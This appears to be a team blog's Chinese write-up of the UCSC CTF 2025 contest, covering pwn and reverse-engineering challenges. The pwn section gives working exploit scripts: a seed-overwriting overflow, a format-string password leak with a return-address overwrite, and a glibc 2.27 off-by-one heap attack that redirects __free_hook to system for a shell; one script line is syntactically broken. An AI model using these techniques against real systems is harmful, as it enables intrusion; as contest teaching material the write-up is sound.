UCSC CTF 2025高校网络安全联合选拔赛 writeup

原创 Lier 2025-04-22 07:03 辽宁

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 [email protected](带上简历和想加入的小组)  

PWN

BoFido-Ucsc

操作内容:

程序里开头有seed = time(0)获取当前时间作为随机数种子

但是下面又有一个read的溢出,这个read的溢出可以覆盖到随机数种子seed我将它覆盖为0避免了时间不同步带来的影响

descript
descript

然后下面就是不断的获取随机数,然后要求用户输入,如果用户输入的都正确就可以直接拿到shell

from xidp import *
from ctypes import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./BoFido"
libc_path = ''
ip = '39.107.58.236:41109'

# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0)            # 其他-debug   1-info
#---------------------初始化-----------------------------

#---------------------debug------------------------------
# 断点
bps = []

#---------------------debug-------------------------------

# pwndbg(1, bps, 1)

payload = b'A' * 20 + b'B' * 12 + p32(0)  # 覆盖seed为0
io.sendafter("Enter your name:", payload)

libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0)  # 使用固定种子
for _ in range(10):
    nums = [libc.rand() % 255 for _ in range(3)]
    io.sendlineafter("numbers:\n", f"{nums[0]} {nums[1]} {nums[2]}")

ia()
descript

userlogin

操作内容:

程序设计了一个密码,用这个密码可以登入root

乍一看以为又是一个随机数绕过,又用上一题同样的方法试了一次,发现不太行,不知道是本地远程有时间差还是说libc版本不对

后来发现里面有格式化字符串漏洞,可以用于泄露密码

然后得到密码后就可以进到root里面使用scanf的溢出了

还需要注意,程序里面是有后门的,不需要我们自己构建

descript
descript

from xidp import *
from ctypes import CDLL
import time
#---------------------初始化----------------------------
arch = 64 
elf_os = 'linux'

challenge = "./pwn"
libc_path = ''
ip = '39.107.58.236:45010'

# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 断点
bps = [0x04012B0]
#---------------------debug-------------------------------
# pwndbg(0, bps, 1)

io.sendlineafter("Password: ""supersecureuser"#调用printf
# 构造格式化字符串Payload
payload = b'%22$p_%23$p'# 分隔符用于区分两个字符串

# pwndbg(0, bps, 1)
io.sendlineafter("Write Something\n", payload) #调用printf

# 接收泄露的字符串
io.recvuntil("0x")
str1 = int(io.recv(16), 16)
io.recvuntil("0x")
str2 = int(io.recv(16), 16)

# str1 = hex(str1)
# str2 = hex(str2)
# put(str1)
# put(str2)

passwd = (int.to_bytes(str1, 8, 'little') + 
          int.to_bytes(str2, 8, 'little')).decode().strip('\x00')

put(passwd)

backdoor = 0x00401265
io.sendlineafter("Password: ", passwd) 

payload = b'a'*40
payload += p64(backdoor)
io.sendlineafter("Note: \n", payload)


ia()



descript

疯狂复制

操作内容:

2.27的堆题,给的版本是Ubuntu GLIBC 2.27-3ubuntu1.6

给的漏洞是在edit中有off-by-one我们可以利用这个漏洞来修改chunk的size位以此来造成堆块重叠从而利用tcachebin没有检测的特点来控制free_hook

descript
descript

from xidp import *
#---------------------初始化----------------------------
arch = 64 
elf_os = 'linux'

challenge = "./pwn2"
libc_path = '/home/xidp/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so'
ip = '39.107.58.236:41857'

# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 断点
bps = [0x09B5]
#---------------------debug-------------------------------
# pwndbg(1, bps, 1)

menu = ":"

def add(idx, size):  
    sdla(menu, str(1))  
    sdla("Index: ", str(idx))  
    sdla("Size ", str(size))  # size不能大于0x100

def edit(idx, content):  
    sdla(menu, str(2))  
    sdla("Index: ", str(idx))  
    sdla("Content: ", content)  

def free(idx):  
    sdla(menu, str(4))  
    sdla("Index:", str(idx))  

def show(idx):  
    sdla(menu, str(3))  
    sdla("Index:", str(idx))


for i in range(7):
    add(i, 0x88)
add(7, 0x88)
add(8, 0x38)

for i in range(7):
    free(i)

free(7)

for i in range(7):
    add(i, 0x88)
    
pwndbg(1, bps, 1)
add(7, 0x18)
show(7)
io.recvuntil("Content: ")
libc_offset = uu64()
leak("libc_offset")
libc_base = libc_offset - 0x3EBD20
leak("libc_base")
malloc_hook = libc_base + libc.sym['__malloc_hook']
leak("malloc_hook")
free_hook = libc_base + libc.sym['__free_hook']
leak('free_hook')
system_addr = libc_base + libc.sym['system']
leak('system_addr')

one = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]
one_gadget = libc_base + one[3]
leak("one_gadget")

add(9, 0x38)
add(10, 0x38)
add(11, 0x38)
add(12, 0x38)

free(12)
edit(10, b'b'*0x38 + p8(0x71))
free(11)
add(11, 0x68)
edit(11, b'c'*0x38 + p64(41) + p64(free_hook))

add(12, 0x38)
add(13, 0x38)
edit(13, p64(system_addr))
edit(12, b'/bin/sh\x00\x00')
free(12)


ia()
descript

Reverse

re_ez-ucsc

操作内容:

rust逆向,就是个简单迷宫题目。

根据字符定位到main函数。

descript
descript

看起来很晕实际上就核心代码就下面一小块,

descript
descript

dword_7FF6BD24A000是迷宫地图,qword_7FF6BD240498是操作数组,异或前的值是与上下左右相对应的字符。#是上,"是下,!是左,‘空格’是右。

10101

10101

10101

10001

11111

根据下面地图0是路1是墙可以得出输入的字符应该是""" ###

再将刚才的字符串进行MD5计算即可

descript
descript

simplere-ucsc

操作内容:

查壳有壳直接脱壳,脱完壳后的程序十分清晰,输入的flag经过base58然后进行逆序异或

descript
descript

exp:

BASE58_ALPHABET = "wmGbyFp7WeLh2XixZUYsS5cVv1ABRrujdzQ4Kfa6gP8HJN3nTCktqEDo9M"
enc = [
    0x72, 0x7A, 0x32, 0x48, 0x34, 0x4E, 0x3F, 0x3A, 0x42, 0x33,
    0x47, 0x69, 0x75, 0x63, 0x7C, 0x7D, 0x77, 0x62, 0x65, 0x64,
    0x7B, 0x6F, 0x62, 0x50, 0x73, 0x2B, 0x68, 0x6C, 0x67, 0x47,
    0x69, 0x15, 0x42, 0x75, 0x65, 0x40, 0x76, 0x61, 0x56, 0x41,
    0x11, 0x44, 0x7F, 0x19, 0x65, 0x4C, 0x40, 0x48, 0x65, 0x60,
    0x01, 0x40, 0x50, 0x01, 0x61, 0x6F, 0x69, 0x57
]
# 1. 逆 sub_40176F,得到 Base58Flag
def reverse_sub_40176F(enc):
    base58 = []
    for i in range(len(enc)):
        c = enc[i] ^ (i + 1)
        base58.append(c)
    base58.reverse()
    return bytes(base58)

# 2. 逆 Base58 解码(使用自定义字母表)
def base58_decode_custom(b58_str, alphabet=BASE58_ALPHABET):
    num = 0
    for c in b58_str:
        num = num * 58 + alphabet.index(c)
    # 计算需要的字节数
    size = (num.bit_length() + 7) // 8
    return num.to_bytes(size, 'big')

def main():
    base58_bytes = reverse_sub_40176F(enc)
    try:
        base58_str = base58_bytes.decode()
    except UnicodeDecodeError:
        print("[-] 解码失败,包含非法字符")
        return

    print(f"[+] 恢复出的 Base58Flag 为: {base58_str}")

    # Base58 字符合法性验证
    if not all(c in BASE58_ALPHABET for c in base58_str):
        print("[-] Base58Flag 中包含不合法字符")
        return

    # 尝试解码为原始 flag
    try:
        raw_flag = base58_decode_custom(base58_str)
        print(f"[+] 解码得到的原始 flag 为: {raw_flag}")
        print(f"[+] flag 字符串为: {raw_flag.decode(errors='ignore')}")
    except Exception as e:
        print(f"[-] Base58 解码失败: {e}")

if __name__ == "__main__":
    main()

easy_re-ucsc

操作内容:

签到题,直接动调

descript
descript
flag值:

flag{d7610b86-5205-3bf3-b0f4-84484ba74105}

easy_re-ucsc

操作内容:

也是动调签到题。

根据rc4对称加密,v5就是密文

descript
descript
descript

结束


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]

图片

阅读原文

跳转微信打开

原始链接: https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247512471&idx=1&sn=02f4c5aa2e2be1472433b41aaa389802&subscene=0
侵权请联系站方: [email protected]

相关推荐

换一批